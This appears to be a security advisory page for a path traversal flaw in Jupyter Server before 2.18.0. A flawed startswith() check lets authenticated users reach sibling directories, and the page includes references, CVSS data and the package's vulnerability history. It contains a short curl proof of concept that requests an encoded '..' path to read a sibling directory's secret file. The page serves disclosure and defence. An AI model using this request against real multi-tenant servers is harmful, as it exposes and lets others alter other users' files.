Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories
Summary
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
PoC
Minimal:
.
├── test/ <- root directory.
│ └── test.txt
└── testtest/
└── secret.txt <- file to exfiltrate that we should not be able to access via APIHOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"
curl -s -X POST \
"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
-H "Authorization: token $TOKEN"Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006
Impact
It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.
This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.
In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.
Workarounds
Use folder names that do not overlap.
Acknowledgments
Thank you to @stef41 for providing a useful PoC.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | jupyter-server | < 2.18.0 | 2.18.0 |
References
- https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5789-5fc7-67v3
- https://nvd.nist.gov/vuln/detail/CVE-2026-35397
- https://access.redhat.com/errata/RHSA-2026:43038
- https://access.redhat.com/errata/RHSA-2026:60520
- https://access.redhat.com/security/cve/CVE-2026-35397
- https://bugzilla.redhat.com/show_bug.cgi?id=2466858
- https://github.com/jupyter-server/jupyter_server
- https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-68.yaml
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35397.json
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
jupyter-server- Disclosed
- 05.05.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-68 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-5789-5fc7-67v3 - CC BY 4.0
Vulnerability history: jupyter-server
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 11.2020 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 7
- Medium 6
Disclosures per year
- 2020: 2
- 2021: 0
- 2022: 2
- 2023: 3
- 2024: 1
- 2025: 0
- 2026: 6
-
Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories this entry
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